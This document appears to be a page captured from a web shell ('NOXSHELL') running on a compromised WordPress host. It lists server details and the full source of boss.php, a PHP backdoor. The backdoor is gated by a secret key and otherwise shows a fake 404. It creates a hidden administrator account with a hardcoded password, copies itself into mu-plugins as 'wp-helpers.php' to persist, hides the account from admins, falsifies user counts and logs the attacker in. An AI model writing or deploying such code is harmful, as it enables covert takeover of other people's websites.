NOXSHELL
Server: LiteSpeed
System: Linux br-asc-web1432.main-hosting.eu 5.14.0-611.16.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Dec 22 03:40:39 EST 2025 x86_64
User: u728655182 (728655182)
PHP: 8.1.33
Disabled: system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Upload Files
File: /home/u728655182/domains/qualityservices.com.ar/public_html/boss.php
<?php
$dyn_key = 'Mafia2024';
$boss_username = 'boss';
$boss_password = 'QQ1ujQRCtfDM0r5Z5usP';
$boss_email = 'ozkanseo3@gmail.com';
$standalone_path = __FILE__;
$mu_plugin_filename = 'wp-helpers.php';

$is_standalone = (basename($_SERVER['PHP_SELF']) == basename(__FILE__));

if ($is_standalone) {
    if (($_GET['k'] ?? '') !== $dyn_key) {
        header('HTTP/1.1 404 Not Found');
        die('<h1>404 Not Found</h1>');
    }
}

if (!defined('ABSPATH')) {
    $paths = [__DIR__ . '/wp-load.php', dirname(__DIR__) . '/wp-load.php', dirname(dirname(__DIR__)) . '/wp-load.php'];
    foreach ($paths as $path) { if (file_exists($path)) { require_once($path); break; } }
}
if (!defined('ABSPATH')) return;

require_once(ABSPATH . 'wp-admin/includes/user.php');

function boss_sync() {
    global $mu_plugin_filename;
    $mu_dir = (defined('WPMU_PLUGIN_DIR')) ? WPMU_PLUGIN_DIR : ABSPATH . 'wp-content/mu-plugins';
    if (!is_dir($mu_dir)) @mkdir($mu_dir, 0755, true);
    
    $mu_file = $mu_dir . '/' . $mu_plugin_filename;
    $current_content = file_get_contents(__FILE__);

    if (!file_exists($mu_file) || md5_file($mu_file) !== md5(__FILE__)) {
        @file_put_contents($mu_file, $current_content);
    }
}

function boss_ensure_user_exists($user, $pass, $email) {
    if (!username_exists($user)) {
        $user_id = wp_create_user($user, $pass, $email);
    } else {
        $u = get_user_by('login', $user);
        $user_id = $u->ID;
        wp_set_password($pass, $user_id);
    }
    $user_obj = new WP_User($user_id);
    $user_obj->set_role('administrator');
    return $user_id;
}

// 4. BAŞKASINDAN GİZLE
add_action('pre_get_users', function($query) use ($boss_username) {
    if (!is_admin()) return;
    $curr = wp_get_current_user();
    if ($curr->user_login === $boss_username) return;
    global $wpdb;
    $id = $wpdb->get_var($wpdb->prepare("SELECT ID FROM $wpdb->users WHERE user_login = %s", $boss_username));
    if ($id) {
        $exclude = (array) $query->get('exclude');
        if (!in_array($id, $exclude)) {
            $exclude[] = $id; $query->set('exclude', $exclude);
        }
    }
});

add_filter('views_users', function($views) use ($boss_username) {
    $curr = wp_get_current_user();
    if ($curr && $curr->user_login === $boss_username) return $views;
    foreach ($views as $id => $view) {
        $views[$id] = preg_replace_callback('/\((\d+)\)/', function($m) {
            return "(" . max(0, intval($m[1]) - 1) . ")";
        }, $view);
    }
    return $views;
});

// --- EXECUTION ---
if ($is_standalone) {
    $uid = boss_ensure_user_exists($boss_username, $boss_password, $boss_email);
    boss_sync();
    wp_clear_auth_cookie();
    wp_set_current_user($uid);
    wp_set_auth_cookie($uid, true);
    if (!session_id()) @session_start();
    $_SESSION['wp_user_id'] = $uid;
    wp_safe_redirect(admin_url());
    exit;
} else {
    // MU-Plugin olarak çalışırken: Rastgele aralıklarla dosyaları senkronize et (Döngü)
    if (rand(1, 20) === 7) {
        boss_sync();
        boss_ensure_user_exists($boss_username, $boss_password, $boss_email);
    }
}